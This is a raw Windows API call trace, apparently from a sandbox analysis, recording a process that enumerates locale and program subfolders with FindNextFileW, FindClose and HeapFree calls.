	[0174.221] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0174.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0174.221] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbd7b4 | out: lpFindFileData=0x2fbd7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0174.221] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0174.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0174.221] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbda30 | out: lpFindFileData=0x2fbda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 1
	[0174.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0174.221] FindNextFileW (in: hFindFile=0x394b638, lpFindFileData=0x2fbda30 | out: lpFindFileData=0x2fbda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 0
	[0174.221] FindClose (in: hFindFile=0x394b638 | out: hFindFile=0x394b638) returned 1
	[0174.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0174.221] FindNextFileW (in: hFindFile=0x394b8b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0
	[0174.221] FindClose (in: hFindFile=0x394b8b8 | out: hFindFile=0x394b8b8) returned 1
	[0174.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0174.222] FindNextFileW (in: hFindFile=0x394bbb8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 0
	[0174.222] FindClose (in: hFindFile=0x394bbb8 | out: hFindFile=0x394bbb8) returned 1
	[0174.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0174.224] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 1
	[0174.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.551] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0174.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.551] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0174.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.551] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0174.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.551] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0174.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0174.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0174.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.552] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0174.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0174.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.553] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0174.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.554] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0174.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.554] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.554] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.555] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0174.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.555] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.556] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.557] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0174.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.557] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.558] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0174.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.559] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0174.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.559] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0174.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.560] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0174.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.560] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0174.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.561] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0174.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.561] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.561] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0174.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.561] FindNextFileW (in: hFindFile=0x394b6b8, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
